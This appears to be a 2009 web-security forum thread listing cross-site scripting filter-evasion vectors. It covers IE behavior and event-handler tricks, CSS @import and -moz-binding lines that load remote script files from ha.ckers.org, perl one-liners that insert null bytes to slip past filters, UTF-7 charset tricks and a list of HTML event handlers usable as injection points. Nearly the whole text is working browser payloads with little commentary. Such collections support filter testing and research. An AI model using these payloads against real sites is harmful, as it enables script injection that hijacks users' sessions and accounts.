Paid Advertising
Quote
ha.ckers.org/xss2.html<P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">
<P STYLE="behavior:url('#default#time2')" end="0" onEnd="alert('XSS')"> or better <P STYLE="behavior:url('#default#time2')" onBegin="alert('XSS')">.
Quote
ha.ckers.org/xss2.html
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> <STYLE>@im\port'ht\tp://ha.c\kers.org/xss-retest.css';</STYLE>
<STYLE>a{background:url('s1' 's2)}@import javascript:alert(1);');}</STYLE> // IE 6
<STYLE>a{background:url('s1' 's2)}@import url(http://ha.ckers.org/xss.css);');}</STYLE> // IE 6-8 (breaking out of css-string + rules after something)
Quote
ha.ckers.org/xss2.html<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<STYLE>BODY{property:"
invalid;-moz-binding:url(http://ha.ckers.org/xssmoz.xml#xss);"}</STYLE> //FF 3.6 + breaking out of css-string
<body style="property:'
invalid;-moz-binding:url(http://ha.ckers.org/xssmoz.xml#xss);'">
Quote
ha.ckers.org/xss2.html
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out// IE (in tag)
perl -e 'print "<IMG SRC=\"\" o\0nerror=alert(\"XSS\")>";' > out// IE (in attribute)
perl -e 'print "<IMG\0zzz SRC=\"\" onerror\0zzz=alert(\"XSS\")>";' > out// GC 4 & Safari 4.0.4 (right side (after \0) in the tagname and attribute is ignored, but left side is valid)
perl -e 'print "<IMG STYLE=xss:expr/\0*XSS*\0/ession(alert(\"XSS\"))>";' > out// IE (in parameter, bypass filtering comments). This comment is also valid in GC & Safari, if stylesheet into "<style>".
Quote
rsnake
Posted by: rsnake
Date: August 10, 2009
Quote
ha.ckers.org/xss2.html
Check back in a week or two!
<style>@import'vb\script:alert(1)</style>
<meta charset="x-imap4-modified-utf7"&&>&&<script&&>alert(1)&&;&&<&&/script&&>
oninput=""
onhashchange="event"
<!DOCTYPE HTML>
<html>
<head>
<title>onhashchange</title>
</head>
<body onload="update()" onhashchange="update()">
<h1>onhashchange</h1>
<p><a href="#a">AAAA</a> <a href="#b">BBBB</a></p>
<p id=message>...</p>
<script>
function update() {
if (location.hash) {
var msg = location.hash.substr(1);
document.getElementById('message').firstChild.data = msg;
}
}
</script>
</body>
</html>
onafterprint
onbeforeprint
onbeforeunload
onemptied
ondurationchange
onhashchange
onmessage
onoffline
ononline
onpagehide
onplaying
onpageshow
oncanplay
onpopstate
onratechange
onredo
onresize
onreset
onstorage
onseeking
onsuspend
onstalled
onundo
onunload
onwebkitanimationiteration
onwebkittransitionend
